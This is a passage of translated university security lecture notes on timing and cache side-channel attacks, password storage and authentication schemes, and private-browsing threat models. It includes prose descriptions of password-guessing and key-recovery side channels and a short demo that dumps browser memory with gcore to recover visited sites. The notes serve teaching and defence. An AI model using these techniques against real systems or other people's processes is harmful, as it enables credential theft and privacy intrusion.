    • (1) 与计算无关的噪音(例如中断,网络延迟)。

      • 当我们多次测量相同的事物时,这种情况可能会消失。

      • 参见论文中的图 2a。

    • (2) 与计算相关的“噪音”。

      • 例如,通过滑动窗口将g_hi³相乘需要不同的时间。

      • 重复的测量将返回相同的数值。

      • 不会帮助确定是通过g还是g_hi进行更多的约简。

      • 参见论文中的图 2b。

    • 邻域值平均出第二种噪音。

    • 由于邻域值相邻,仍具有大致相同数量的约简。

如何避免这些攻击?

  • 解密时间的定时攻击:RSA 盲化。

    • 选择随机的r

    • 将密文乘以r^e mod nc' = c*r^e mod n

    • 由于 RSA 的乘法性质,c'm*r的加密。

    • 解密密文c'以获取消息m'

    • 将明文除以rm = m'/r

    • 根据布鲁姆利的论文,OpenSSL 的 CPU 开销约为 10%。

  • 使所有代码路径在执行时间方面可预测。

    • 困难,编译器将努力消除不必要的操作。

    • 阻止了高效的特殊情况算法。

    • 难以预测执行时间:指令不是固定时间的。

  • 我们能否剥夺对精确时钟的访问?

    • 对于我们控制的机器上的单线程攻击者是可以的。

    • 可以向合法计算添加噪音,但攻击者可能会进行平均。

    • 可以对合法计算进行量化,但会有一定的性能成本。

    • 但通过"睡眠"量化,吞吐量仍然可能泄漏信息。

我们应该对这些攻击感到多么担忧?

  • 开发利用程序相对棘手(但这是一个一次性问题)。

  • 可能会注意到服务器上的攻击(许多连接请求)。

    • 尽管在繁忙的 Web 服务器集群上可能不那么容易?
  • 对手必须在网络方面靠近。

    • 对于对手来说并不是一个大问题。

    • 可以对更多查询进行平均,共同定位附近(Amazon EC2),

      • 在附近的机器人或浏览器上运行等。
  • 对手可能需要知道 OpenSSL 的版本、优化标志等。

    • 依赖这样的防御措施是个好主意吗?

    • 这会带来多大的障碍?

  • 如果对手发动攻击,后果相当严重(密钥泄露)。

其他类型的时序攻击

  • 用于猜测密码的页面错误时序 [Tenex 系统]

    • 假设内核提供了一个系统调用来检查用户的密码。

      • 逐字节检查密码,当发现不匹配时返回错误。
    • 对手对齐密码,使第一个字节位于页面末尾,

      • 密码的其余部分在下一页。
    • 以某种方式安排第二页被交换到磁盘。

      • 或者完全取消映射下一页(使用等效的mmap)。
    • 测量猜测密码时返回错误所需的时间。

      • 如果花费了很长时间,内核必须从磁盘中读取第二页。

        • 或者,如果取消映射,如果崩溃,那么内核会尝试读取第二页。
      • 意味着第一个字符是正确的!

    • 可以在256*N次尝试中猜出一个N字符的密码,而不是256^N次。

  • 缓存分析攻击: 处理器的缓存由所有进程共享。

    • 例如:访问滑动窗口的一个倍数会将其带入缓存。

    • 在缓存中必然会驱逐其他内容。

    • 恶意进程可能会用大数组填充缓存,观察被驱逐的内容。

    • 根据被驱逐的偏移量猜测指数(d)的部分。

  • 缓存攻击在"移动代码"中可能会有问题。

    • 在您的桌面或手机上运行的 NaCl 模块、Javascript、Flash 等。
  • 网络流量时序/分析攻击

    • 即使数据被加密,其密文大小仍然与明文大小相近。

    • 最近的论文表明可以通过大小、时序推断出许多关于 SSL/VPN 流量的信息。

    • 例如,Fidelity 允许客户通过 SSL 网站管理股票。

      • 网站为每支股票显示某种饼图图像。

      • 用户的浏览器请求所有用户的股票图像。

      • 对手可以枚举所有股票饼图图像,知道大小。

      • 可以根据数据传输的大小推断用户拥有的股票。

    • 类似于本学期早些时候客座讲座中提到的 CRIME 攻击。

参考资料

用户认证

注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站上发布的内容。

核心挑战: 人类用户如何向程序证明其身份?

  • 是否有任何完全主导密码的解决方案?

  • 乍一看,密码似乎很糟糕。

    • 低熵-->容易让攻击者猜到它们。

    • 用于密码的备用安全问题也具有低熵。

    • 用户经常为多个站点使用相同的密码。

  • 正如今天课堂上的论文所述,"密码继续在所有其他终端用户认证方法上占主导地位,这对安全研究人员来说是一个重大尴尬。"

  • 但是...是否实际上有一种认证方案完全主导密码?

  • 今天讲座的计划:

    1. 查看当前密码方案的工作原理。

    2. 讨论认证方案的理想属性。

    3. 查看其他认证方案与密码的比较。

密码

密码是用户和服务器之间共享的秘密。

  • 天真的实现: 服务器有一个将用户名映射到明文密码的表。

  • 问题: 如果攻击者入侵服务器,可以恢复所有用户/密码对。

  • 改进方案: 服务器存储此表:user_name --> hash(user_password)

  • 用户客户端向服务器提供明文密码,服务器对明文进行哈希并进行表查找。

  • 优势: 哈希函数难以反转,因此攻击者难以执行暴力攻击。然而...

  • 问题: 攻击者不必对所有可能的密码启动低效的暴力搜索 -- 实际用作密码的字符串集相当小!

    • 偏斜分布:前5000个密码值覆盖20%的用户。

    • 雅虎密码研究:经验法则密码包含10-20 bits的熵。

    • 哈希函数优化性能;这有助于攻击者!

      • 例子: 一台笔记本电脑可以以每秒约2M SHA1 ops/sec的速度计算 SHA1。即使密码具有20 bits的熵,也可以每秒破解一个帐户。
  • 服务器可以使用计算成本昂贵的密钥派生函数(例如,PBKDF2 或 BCrypt)。

    • 这些函数具有可调整的成本,因此它们可以任意缓慢。

    • 例如:可以使哈希成本为 1 秒 -- 比 SHA1 慢O(1M)倍。

    • 内部通常使用慢哈希进行重复哈希。

    • 问题: 对手可以构建"彩虹表"。

      • 密码到哈希映射表。

      • 计算成本高昂,但允许攻击者之后有效地反转哈希。

      • 为了最大化成本/效益权衡,攻击者只需为常见密码字典构建一个彩虹表。

      • 大致:1 秒昂贵的哈希|-> 1M 秒 = 10 天来哈希常见密码。之后,可以非常快速地破解任何密码数据库中的常见密码。

  • 更好的解决方案: 服务器可以使用密码盐

    • 在密码哈希中输入一些额外的随机性:H(salt, pw)。

    • 盐值从哪里来?它以明文形式存储在服务器上。

    • Q: 如果对手也能破解盐,为什么这样做更好?

    • A: 攻击者无法使用单个彩虹表来检查哈希匹配 -- 相同密码使用不同盐将具有不同的哈希值!

    • 最佳实践:

      • 选择一个长的随机盐。

      • 每次用户更改密码时选择一个新的盐。

客户端应该如何将密码传输到服务器?

  • 不好的主意: 明文发送密码。

  • 稍微好一点: 通过加密连接发送密码。

    • 缺点: 连接可能被假冒服务器的攻击者拦截(加密并不一定意味着服务器已经向客户端进行了身份验证!)。中间人攻击者然后可以使用窃取的密码冒充用户。

      • Q: 如果客户端发送密码的哈希而不是原始密码呢?

      • A: 并不会为我们提供额外的权力,因为哈希仍然可以被攻击者重放。

      • 故事寓意: 加密和哈希并不会自动增加安全性 -- 你需要考虑你想要实现的安全性质,并具体的加密和哈希可以实现这些目标的方式。

  • 更好的主意: 挑战/响应协议。

例子:

 Client             Server

        Hi, I'm Alice.
       ---------------->

          Challenge C
       <----------------

        H(C || password)
       ----------------->

                     - Server checks whether the
                       response is H(C || password). 
  • 忽略中间人(MITM)攻击,服务器现在确信用户是 Alice。

  • 如果服务器是攻击者并且之前不知道密码,那么攻击者仍然不知道密码。

    • Q: 我们如何防止服务器基于H()值进行暴力猜测密码?

    • A1: 昂贵的哈希+盐。

    • A2: 允许客户端也选择一些随机性:防范彩虹表。

  • 为了避免在服务器上存储真实密码,使用类似SRP的协议。

  • 高级思想: 给定安全参数g,客户端计算v = g^(hash(salt, password))并将vsalt发送到服务器。客户端和服务器可以利用对gv的共享知识建立临时密钥(该协议利用了攻击者难以执行模N下的离散对数的事实;RSA 也利用了这一观察结果)。

  • 实施挑战/响应通常意味着改变客户端和服务器。

为了防止暴力破解攻击,我们可以实施反锤击防御

  • 例子: 限制密码猜测次数;在太多错误猜测后实施超时期。

  • 限制猜测速率非常重要,因为密码的熵很低!

    • 许多网站对密码施加要求(例如长度,使用标点等特殊字符)。

    • 实际上,重要的是!格式要求很少转化为更高的熵。

    • 一个称职的字典攻击者可以模拟密码约束并生成彩虹表;即使有约束,人们仍会选择符合先验字符分布的密码。

    • Telepathwords: telepathwords.research.microsoft.com/

      • 当您输入潜在的密码字母时,尝试使用启发式猜测下一个字母!

        • 常见密码(例如,通过密码数据库泄漏)

        • 来自网站的流行短语

        • 用户在选择字符时常见的偏见(例如,使用相邻键来输入相邻的密码字符)

  • Kerberos v4 和 v5 在没有预身份验证的情况下容易受到离线猜测的影响:www.gnu.org/software/shishi/wu99realworld.pdf

    • 任何人都可以向 KDC 请求使用用户密码加密的票证,即 KDC 不会验证请求(尽管响应将使用K_c加密)。

    • 攻击者可以尝试暴力破解猜测用户的密码--这很容易并行化。由于票据授予票据具有已知格式,攻击者可以确定解密何时成功。

    • 在 Kerberos v5 中,票证请求者必须在请求中包含{ timestamp }_{K_c},以证明对K_c的了解。

密码恢复非常重要,但经常被忽视。

  • 人们经常关注密码的熵,但如果恢复问题可以用来重置密码,密码认证方案的强度为min(password_entropy, recovery_question_entropy)

  • 恢复问题通常很容易被猜到。在一个著名的例子中,有人通过猜测萨拉·佩林的安全问题的答案获得了对她的雅虎地址的访问权限。

    • 固有低熵("你最喜欢的颜色是什么?" "你最好朋友的名字是什么?"

    • 通过社交媒体资料泄露的答案("你最喜欢的电影是什么?"

    • 自动生成的问题通常很容易回答("5 + 5 等于多少?"

取代密码的追求

在今天的阅读中,作者提出了一堆可以用来评估认证方案的因素(目标是确定密码是否像它们看起来那样糟糕)。作者考虑了三个高级指标:可用性、部署性和安全性。

  • 可用性:用户与认证方案交互的难易程度如何?

    • 易学性:

      • "不了解方案的用户可以轻松地弄清楚并学会它。"

      • 这是密码方案如此受欢迎的一个关键原因!

    • 不经常出现的错误:

      • "用户必须执行的登录任务通常在由合法和诚实的用户执行时成功。"

      • 这是用户选择易于猜测密码的重要原因。

    • 用户可扩展性:

      • "使用方案登录数百个帐户不会增加用户的负担。"

      • ...解释了为什么人们经常重复使用密码或为基本密码创建一个简单的每个站点唯一化方案。

    • 轻松从认证令牌丢失中恢复:

      • 密码的优势在于它们易于重置。
    • 无需携带

      • 密码的另一个优势。
  • 可部署性: 将身份验证方法整合到实际系统中有多容易?

    • 与服务器兼容:

      • "在验证者端,该方案与基于文本的密码兼容。提供者不必更改其现有的身份验证设置以支持该方案。"
    • 与浏览器兼容:

      • "用户不必更改他们的客户端以支持该方案。如果方案要求安装插件或任何需要管理员权限的软件,则无法提供这种好处。"
    • 易访问:

      • "能够使用密码的用户不会因残疾或其他身体(非认知)状况而无法使用该方案。"
    • 可部署性非常困难:很难让用户或服务器大规模更新!

    • 密码在这一类别中表现良好,默认情况下,因为作者将“可部署性”定义为系统与当前密码基础设施整合程度。然而,密码在下一个类别中表现不佳……

  • 安全性: 身份验证方案可以防范哪些攻击?

    • 对物理观察具有弹性:

      • "在观察用户进行一次或多次身份验证后,攻击者无法冒充用户。如果方案只能通过重复观察 10-20 次以上才能被破解,我们授予准弹性对物理观察的方案。攻击包括肩窥、拍摄键盘、录制按键声音或热成像键盘。"

      • 密码未通过此测试,例如,可以通过拍摄键盘或录制按键声音来捕获密码。

    • 对有针对性的冒充具有弹性:

      • "通过利用个人细节(出生日期、亲属姓名等)的知识,熟人(或熟练的调查员)无法冒充特定用户。个人知识问题是在这一点上失败的典型方案。"

      • 作者表示密码是“准抗性”的,因为他们找不到任何研究表明您的朋友或熟人可以轻松猜出您的密码。

    • 对受限制的猜测具有弹性:

      • "一个攻击者的猜测速率受到验证者的限制,不能成功猜测出大部分用户的秘密……缺乏这种好处意味着惩罚那些经常让用户选择的秘密从一个小而众所周知的子集中选择的方案。"

      • 密码失败是因为熵值低 + 分布倾斜。

    • 对不受限制的猜测具有弹性:

      • “只受可用计算资源限制的猜测速率的攻击者无法成功猜测出大部分用户的秘密。例如,如果一个能够尝试每个账户最多 2⁴⁰ 甚至 2⁶⁴ 次猜测的攻击者仍然只能达到不到 1%的账户,我们可能会授予这一好处。缺乏这一好处旨在惩罚那些凭证空间不足以抵御来自一个小而众所周知的子集的暴力搜索的方案。”

      • 密码失败是因为它们具有低熵和偏斜分布。

    • 对内部观察具有弹性:

      • “攻击者无法通过拦截用户设备内的用户输入(例如,通过键盘记录恶意软件)或窃听证明者和验证者之间的明文通信来冒充用户(我们假设攻击者也可以击败 TLS,也许通过 CA)。这惩罚了那些不具备重放抵抗性的方案,无论是因为它们发送静态响应还是因为它们的动态响应对策可以通过少数观察被破解。这一好处假定通用设备(如软件可更新的个人计算机和手机)可能包含恶意软件,但专门用于该方案的硬件设备可以做到无恶意软件。”

      • 密码失败是因为它们是静态令牌:一旦你有了一个,你可以使用它直到它过期或被撤销。

    • 对网络钓鱼具有弹性:

      • “模拟有效验证器的攻击者(包括通过 DNS 操纵)无法收集以后可以用来冒充用户向实际验证器进行身份验证的凭据。这惩罚了允许网络钓鱼者让受害者在类似网站上进行身份验证,然后将收集的凭据用于真正网站的方案。”

      • 密码失败:网络钓鱼攻击非常普遍!

    • 无信任第三方:

      • “该方案不依赖于一个可信任的第三方(除了证明者和验证者),后者在遭受攻击或变得不可信任时,可能会危及证明者的安全或隐私。”

      • 这一属性提出了一个重要观点:如果我们可以信任一个方当来存储密码、运行密码服务器等,许多身份验证问题将变得更容易。然而,单点故障是不好的,因为攻击者可以将所有精力集中在那一点上!

    • 对其他验证者泄露具有弹性:

      • “验证者可能泄露的任何信息都不能帮助攻击者冒充用户向另一个验证者进行身份验证。这惩罚了那些在一个提供者内部欺诈或对一个后端的成功攻击危及用户在其他网站账户的方案。”

        • 这一属性与无信任第三方有关。为了避免中心化故障点,我们希望引入一些分布式身份验证的概念:然而,这是否意味着系统的强度仅取决于其最薄弱的环节?

          • 回想一下 HTTPS,以及一个糟糕的证书颁发机构如何说服浏览器接受任意站点的伪证书。安全性取决于最不安全的 CA 的强度!
        • 作者表示,密码失败是因为人们经常在不同网站上重复使用密码。

生物特征识别

生物特征识别: 利用个人外貌或行为的独特方面。

  • 密钥空间有多大?

    • 指纹: ~13.3 位。

    • 虹膜扫描: ~19.9 位。

    • 语音识别: ~11.7 位。

    • 因此,熵的位数大致与密码相同。

生物特征识别与密码

 Usability metric     Passwords        Biometrics
    ---                  ---              ---
    Easy-to-learn:       Yes              Yes
    Infrequent errors:   Quasi-yes        No
    Scalable for users:  No               Yes
    Easy recovery:       Yes              No
    Nothing to carry:    Yes              Yes

                       Usability score: 3.5 vs 3    

    Deployability metric Passwords        Biometrics
    ---                  ---              ---
    Server-compatible:   Yes              No
    Browser-compatible:  Yes              No
    Accessible:          Yes              Quasi-yes (entering biometrics is error-prone)    

                       Deployability score: 3 vs 0.5

    Security metric         Passwords        Biometrics
    ---                     ---              ---
    Res-to-Phys-Obs:        No               Yes
    Res-to-Trgtd-Imp:       Quasi-yes        No (e.g., replaying voice recording, lifting fingerprints from surfaces)
    Res-to-Thrtld-Guess:    No               Yes
    Res-to-UnThrtld-Guess:  No               No (key space isn't much bigger than that of passwords)
    Res-to-Internal-Obv:    No               No (captured biometric data can be replayed)
    Res-to-Phishing:        No               No
    No-trusted-3rd-Party:   Yes              Yes
    Res-Other-Ver-Leaks:    No               No (same biometrics are used by all verifiers)

                        Security score: 1.5 vs 3 

因此,最终得分是 8 对 6.5。当然,每个类别可以分配非单位权重,但关键是生物特征识别并不明显比密码“更好”!

有些目标似乎很难同时实现。

 Memorywise-Effortless + Nothing-to-Carry.
    Memorywise-Effortless + Resilient-to-Theft.
         // Either the user remembers something, or
         // it can be stolen (except for biometrics).

    Server-Compatible + Resilient-to-Internal-Observation.
    Server-Compatible + Resilient-to-Leaks-from-Other-Verifiers.
         // Server compatible means sending a password.
         // Passwords can be stolen on user machine,
         // replayed by one server to another. 

多因素认证(MFA):深度防御

  • 需要用户使用两种或更多身份验证机制进行身份验证。

  • 机制应涉及不同的模态!

    • 您所知道的东西(例如,密码)

    • 您拥有的东西(例如,手机,硬件令牌)

    • 您是什么(例如,生物特征)

  • 思路是攻击者必须窃取/破坏多个身份验证机制才能冒充用户(例如,攻击者可能猜测密码,但无法访问用户的手机)。

  • 例如:谷歌的双因素认证需要密码加上一个可以通过短信接收授权码的手机。

  • 例如:AWS 的双因素认证需要密码和一个“MFA 设备”(运行身份验证应用程序的智能手机,或专用安全令牌或安全卡)。Amazon MFA

  • 多因素认证是个好主意,但实证研究表明,如果用户除了密码外还提供第二个身份验证因素,用户会选择更弱的密码!

家庭作业问题

家庭作业问题的潜在答案是什么?哪些因素很重要?

  • 登录公共 Athena 机器?

    • 对内部观察具有弹性:在机器上轻松安装恶意软件。

    • 对物理观察具有弹性?+ MIT ID 可能是一个值得利用的好东西(将其用作智能卡)。

    • 生物特征识别?不受信任的终端,可能不是一个很好的计划。

  • 从网吧访问 Facebook?

    • 在这里不是一个好主意使用密码管理器。

    • 数据的敏感程度有多高?

      • 可能被用于认证到其他网站!(要么是“使用 Facebook 登录”,要么是通过回答个人安全问题来重置密码。)
  • 从 ATM 取款?

    • 安全性非常重要。

      • 对物理观察具有弹性。

      • 对盗窃具有弹性。

    • 可能是可信的终端:生物特征识别可能值得考虑。(然而,在实践中,银行可能不想信任终端。)

    • 您可能还关心对个别交易进行身份验证!

      • 防止对手使用被盗的凭证进行不同的、由攻击者选择的操作。

      • 例如:也许用户只需使用密码就能查看余额,但如果她想要取款,她就需要使用手机进行双因素认证。

结论

论文结论:没有一个认证方案明显优于密码!例如,根据作者的说法,CAP 读卡器在安全性方面得分完美!

  • CAP 读卡器是由万事达卡设计用来保护在线银行交易。

  • 用法:

    1. 将您的信用卡插入看起来像手持计算器的 CAP 读卡器中。

    2. 输入 PIN 码(绕过键盘记录器!)。

    3. 读卡器与卡片的嵌入式处理器通信,输出一个 8 位数码,用户将其提供给网站。

分析:

 CAP reader
        Easy-to-learn:      Yes
        Infrequent errors:  Quasi-yes
        Scalable for users: No (users require card+PIN per verifier)
        Easy recovery:      No
        Nothing to carry:   No
                            Score: 1.5

                            CAP reader
       Server-compatible:   No
       Browser-compatible:  Yes
       Accessible:          No (blind people can't read 8-digit code)
                            Score: 1

                            CAP reader
    Res-to-Phys-Obs:        Yes\
    Res-to-Trgtd-Imp:       Yes \__ One-time codes!
    Res-to-Thrtld-Guess:    Yes /
    Res-to-UnThrtld-Guess:  Yes/
    Res-to-Internal-Obv:    Yes     Dedicated device
    Res-to-Phishing:        Yes     One-time codes
    No-trusted-3rd-Party:   Yes     Each site is its own verifier
    Res-Other-Ver-Leaks:    Yes     One-time codes
                            Score: 8 
  • 因此,密码=8CAP 读卡器=10.5。然而,CAP 读卡器没有占领世界的原因(请参阅低可用性和可部署性得分)。

  • 在实践中,可部署性和可用性通常比安全性更重要。

    • 迁移成本(编码+调试工作,用户培训)让开发人员感到紧张!

    • 方案越不可用,用户就越会抱怨(并尝试选择更容易受攻击者攻击的认证令牌)。

  • 一些情况可能会给不同的评估指标分配不同的权重。

    • 例子:在军事基地上,基于硬件的令牌的安全性优势可能超过可用性和可部署性的问题。

私密浏览模式

注意: 这些讲座笔记是从 2014 年 6.858 课程网站上发布的笔记稍作修改而来。

私密浏览:目标、定义、威胁模型

隐私的目标是什么?

  • 模糊的理想:(某个)用户的活动与许多其他用户的活动不可区分。

  • 今天我们将讨论网络浏览器隐私的问题。

    • 由于网络应用程序非常复杂且可能生成大量可追踪的状态,因此对于私密浏览的定义并不明确。

    • 浏览器根据用户需求和其他浏览器供应商的做法更新其私密浏览实现。

    • 由于用户依赖私密浏览模式,他们对其期望更高...并且更多的实现缺陷浮出水面!

浏览器所谓的“私密浏览”是什么意思?

  • 论文将此形式化为两个独立的威胁模型+攻击:

    1. 一个本地攻击者在浏览会话结束后拥有您的机器,并希望发现您访问过哪些网站。

    2. 一个网络攻击者入侵了您联系的网络服务器,并希望将您跨私密和/或正常会话进行关联。

  • 如果两个攻击者合作,他们更容易识别用户。

    • 例如:本地攻击者要求服务器检查服务器访问日志中的本地 IP 地址。

    • 因此,对这两种攻击单独进行安全防护具有实际价值。

威胁 1:本地攻击者

  • 假设: 攻击者在会话结束后控制用户的机器,并希望了解用户在私密浏览模式下访问了哪些网站。

  • 安全目标: 攻击者不能了解这些网站!

  • 非目标

    • 不关心为未来的私密浏览会话实现隐私。

      • 攻击者可能修改机器上的软件(例如安装键盘记录器)并跟踪未来的浏览活动。

      • 这也是为什么我们假设攻击者在私密浏览开始之前无法访问机器。

    • 隐藏使用私密浏览的事实。

      • 通常被称为“合理否认”。

      • 论文指出这很难实现,但没有解释原因。在后面的讲座中,我们将讨论一些潜在原因。

私密会话可以泄漏哪些持久的客户端状态?(持久性指的是“存储在本地磁盘上”。)

  1. JavaScript 可访问的状态:Cookies,DOM 存储

  2. 浏览器缓存

  3. 访问地址的历史记录

  4. 配置状态:新的客户端证书,更新的保存密码数据库,书签

  5. 下载的文件

  6. 新插件/浏览器扩展

...以及:

  • 所有私密浏览实现都试图防止持久泄漏到 1、2 和 3. 但是,4、5 和 6 在私密会话结束后通常仍然存在。

  • 网络活动可能留下持久的证据--DNS 解析记录!

    • 要解决这个问题,私密浏览模式需要在会话结束时刷新 DNS 缓存。然而,这很棘手,因为刷新缓存通常需要在您的机器上具有管理员权限(您希望浏览器具有管理员权限吗?)并删除所有 DNS 状态,而不是特定用户生成的状态。
  • 在私密浏览期间,内存中的对象也可能被分页到磁盘上!

演示:

 Open Firefox in Private Browsing Mode
    Visit http://pdos.csail.mit.edu/
    sudo gcore $(pgrep firefox)
    strings core.* | grep -i pdos

      // -e l: Look for string using the
      //       character encoding 16-bit
      //       little-endian.
      // -a:   Scan all of the file.
      // -t:   Print the offset within
      //       the file. 

数据生命周期是一个比私密浏览更广泛的问题!

  • 例子:如果泄露了加密密钥或密码可能会有问题。参考链接

演示:

 cat memclear.c
     cat secret.txt
     make memclear
     ./memclear &
     sudo gcore $(pgrep memclear)
     strings core.* | grep secret 

数据存在于哪里?

  • 进程内存:堆,栈。

    • 终端滚动回溯

    • I/O 缓冲区,X 事件队列,DNS 缓存,代理服务器,...

    • 语言运行时会复制数据(例如,在 Python 中的不可变字符串)

  • 文件,文件备份,SQLite 数据库

  • 交换文件,休眠文件

  • 内核内存:

    • IO 缓冲区:键盘,鼠标输入

    • 释放的内存页面

    • 网络数据包缓冲区

    • 管道缓冲区包含进程间发送的数据

    • 随机数生成器输入(包括再次输入按键)。

攻击者如何获取剩余数据的副本?

  • 文件本身可能包含多个版本(例如,Word 曾支持此功能)。

  • 如果程序在释放内存或程序关闭时不擦除内存,可能会泄漏信息:

    • 例如:在旧版 Linux 内核中,当创建新目录时,最多可以泄漏 4 KB 的内核内存到磁盘。

    • 例如:如果内核/VMM 不擦除内存页面,那么来自进程 X 的信息可能泄漏到使用 X 旧内存页面的进程 Y 中。

  • 核心转储

  • 直接访问机器

  • 闪存 SSD 实现日志记录--它们不会立即擦除旧数据!

  • 盗取的磁盘,或者只是处理旧磁盘 [参考链接: http://news.cnet.com/2100-1040-980824.html]

我们如何处理数据生命周期问题?

  • 清空未使用的内存[会有一些性能降低]。

  • 在难以清零的地方加密数据(例如,在 SSD 上)。

    • 安全删除密钥意味着数据无法再解密!

    • 例如:OpenBSD 交换使用加密,每次启动时生成新的加密密钥。

    • 与磁盘 I/O 相比,加密的 CPU 成本是适度的。

威胁 2:网络攻击者

  • 假设:

    • 攻击者控制用户访问的网站。

    • 攻击者无法控制用户的机器。

    • 攻击者希望检测用户访问网站的情况。

  • 安全目标:

    • 攻击者无法识别用户。

    • 攻击者无法确定用户是否使用私密浏览模式。

防御网络攻击者非常困难!

  • 识别用户意味着什么?

    • 同一用户从不同私密浏览会话中访问链接。

    • 用户从私密浏览和公共浏览会话中访问链接。

  • 识别用户的简单方法:IP 地址。

    • 合理概率上,来自相同 IP 地址的请求是同一用户。

    • 下一讲,我们将讨论 Tor。Tor 保护 TCP 连接源(即用户的 IP)的隐私。但是,Tor 并不能解决实现私密浏览的其他挑战。

  • 即使用户使用 Tor,Web 服务器仍然可以通过分析她的浏览器运行时的独特特征来识别她!

浏览器指纹演示:

 -  Open Chrome, go to http://panopticlick.eff.org/
 -  Open the same web site in private
          browsing mode. 
  • 隐私的良好思考方式:用户的匿名集是什么?即,在哪个最大的用户集中,某个用户是无法区分的?

    • Panopticlick 显示,对于大多数用户,此集合很小,因为用户倾向于具有唯一的本地设置,如字体、插件等。
  • 网络攻击者如何确定您是否在使用私密浏览模式?

    • 论文描述了基于链接颜色的历史嗅探攻击。

      • 攻击者页面在 iframe 中加载 URL,然后创建到该 URL 的链接,并查看链接是否为紫色(私密会话不存储历史记录)。

      • 由于浏览器不再向 JavaScript 公开链接颜色,此攻击不再有效![请参阅几堂课前讨论的历史嗅探攻击讨论。]

    • 但是,攻击者可能有其他方法来判断您是否在使用私密模式。

      • 例如:公共模式的 Cookie 无法被私密模式页面看到。因此,如果您在公共模式下访问页面,然后在私密模式下访问,页面可以检测到缺少预期的 Cookie。

方法

我们如何为私密浏览提供更强的保证?(暂时忽略 IP 地址隐私,或者假设用户使用 Tor。)

  • 方法 1:虚拟机级隐私

    • 计划:

      • 每个私密浏览会话在单独的虚拟机中运行。

      • 确保在私密浏览结束后删除虚拟机。

      • 确保没有虚拟机状态最终出现在磁盘上[禁用分页?安全释放?]。

    • 优势:

      • 对本地攻击者和网络攻击者提供强有力的保证。

      • 应用程序无需更改,只需安全删除虚拟机。

    • 缺点:

      • 为私密浏览启动单独的虚拟机是繁重的。

      • 使用不便:用户更难保存私密浏览中的文件,使用书签等。

    • 可用性和隐私之间存在固有的权衡!

  • 方法 2:操作系统级隐私

    • 计划: 在操作系统内核级别实现类似的保证。

      • 一个进程可以在“隐私域”中运行,之后将被删除。
    • 优势超过虚拟机:更轻量级。

    • 相对于虚拟机的缺点:更难正确实现,因为操作系统内核管理了大量状态。

是否有方法可以对使用这些方法的用户进行去匿名化?

  • 也许虚拟机本身是独一无二的!因此,我们需要确保所有用户拥有类似的虚拟机。

    • 这限制了用户可以定制虚拟机的程度。
  • 也许 VMM 或主机计算机引入了一些独特性。

    • 例如: TCP 指纹识别:TCP 协议允许实现设置一些参数(例如,初始数据包大小,初始 TTL)。

    • 像 nmap 这样的工具向远程服务器发送精心制作的数据包;可以高度可能性地猜测远程操作系统!

  • 用户仍然是共享的!因此,攻击者可能会:

    • 检测用户的击键时序。

    • 检测用户的写作风格。这被称为笔迹学。参考

浏览器为什么要实现自己的私密浏览支持?

  • 主要原因是可部署性:用户不必在自定义虚拟机或操作系统中运行其浏览器。

    • Native Client 有类似的动机。
  • 另一个原因是可用性:私密模式中生成的某些类型的状态应该能够在会话结束后持续存在。(例如:下载的文件)。

    • 这是一个危险的计划!浏览器是复杂的软件,因此很难找到架构中允许某些类型的状态(但不允许其他类型)持久存在的清晰界限。

我们如何对这些类型的状态进行分类?论文指出我们应该考虑是谁发起了状态更改(第 2.1 节)。

  1. 由网站发起,无用户交互: cookies,历史记录,缓存。

    • 保持在会话内,会话结束时删除。
  2. 由网站发起,需要用户交互: 客户端证书,保存的密码。

    • 不清楚什么是最佳策略;浏览器倾向于持久存储此状态,可能是因为用户必须明确授权该操作。
  3. 由用户发起: 书签,文件下载。

    • 与上述相同:浏览器倾向于持久存储此状态,因为用户授权了该操作

    • ...但请注意,存储此状态可能会泄露用户使用私密浏览模式的事实!

      • 例如: 在 Firefox 和 Chrome 中,书签存储在 SQLite 数据库中。在私密浏览模式下生成的书签将对last_visit_count等元数据有空值参考
  4. 与会话无关: 浏览器更新,证书吊销列表更新。

    • 将其视为在公共模式和私密模式之间共享的单个全局状态。

浏览器实际上实现了什么?

  • 每个浏览器当然都是不同的。

  • 此外,某些状态在一个方向上“泄露”,但在另一个方向上不会!私密模式和公共模式状态之间没有严格的分区。

问答:

  • Q: 如果公共状态泄露到私密状态会发生什么?

  • A: 网络攻击者更容易将私密会话与公共会话关联起来。

    • 例如: 在公共模式下安装的客户端 SSL 证书可以识别私密模式中的用户。
  • Q: 如果私密状态泄露到公共状态会发生什么?

  • A: 这对于网络攻击者和本地攻击者都有帮助:观察公共会话的状态将会泄露关于私人会话的信息!

  • Q: 用户在私密模式会话中时状态应该如何处理?

  • A: 大多数浏览器允许状态在私密模式会话中持久存在(见表 3)。

    • "否"表示网络攻击者可能能够检测到私密模式浏览!

    • Q: 为什么允许在私密浏览模式下使用 cookies?

    • 问: 对用户来说,在隐私浏览模式下能够创建临时会话很方便---浏览器将在私密会话结束时删除相关的 cookie。

  • 问: 私密模式会话之间的状态应该如何处理?

  • 答: 理想情况下,每个私密会话应该从零开始---如果状态在多个私密会话之间传递,这会增加用户被指纹识别的可能性!然而,由于某些类型的状态可以从私密到公共传递,某些类型的状态可以从公共到私密传递,因此某些类型的状态确实可以在私密模式会话之间持续存在。[例如:证书、下载的项目。]

    • 因此,将每个私密模式会话视为与单个公共模式共享某些状态。

浏览器扩展

浏览器扩展和插件是特殊的。

  • 它们是可以访问敏感状态的特权代码。

  • 它们不受同源策略或其他浏览器安全检查的限制。

  • 此外,它们通常是由浏览器供应商之外的人开发的!

    • 因此,它们可能不了解私密模式的语义,或者可能错误地实现了预期的策略。

    • 然而,插件可能在不久的将来会灭绝!HTML5 提供了新功能,为以前需要 Flash、小程序、Silverlight 等的功能提供了本机支持。参考

      • 多媒体:<video><audio>

      • 图形:<canvas> WebGL

      • 离线存储:DOM 存储

      • 网络:Web sockets,CORS

当前的私密浏览模式

该论文是在 2010 年撰写的---私密浏览的当前状态如何?

  • 仍然很难正确实现私密浏览!

    • 例如: 2014 年 1 月的 Firefox 漏洞修复:pdf.js 扩展允许公共 cookie 泄漏到私密模式的 HTTP 获取中。参考

      • 该扩展没有检查私密浏览模式是否已启用!
    • 例如: 2011 年的 Firefox 漏洞:如果您在隐私浏览模式下访问页面,然后关闭窗口,您可以转到 about:memory 并找到关于您所关闭的窗口的信息(例如,about:memory 将列出窗口的 URL)。参考

      • 问题在于窗口对象是惰性垃圾回收的,因此关闭窗口不会强制窗口进行同步垃圾回收。

      • 当潜在解决方案比最初预期的更复杂时,该漏洞被“降级处理”;作为回应,一位开发者说:“这听起来很令人难过。这几乎可以破坏诸如 sessionstore 忘记关闭的私密窗口等功能的目的。”

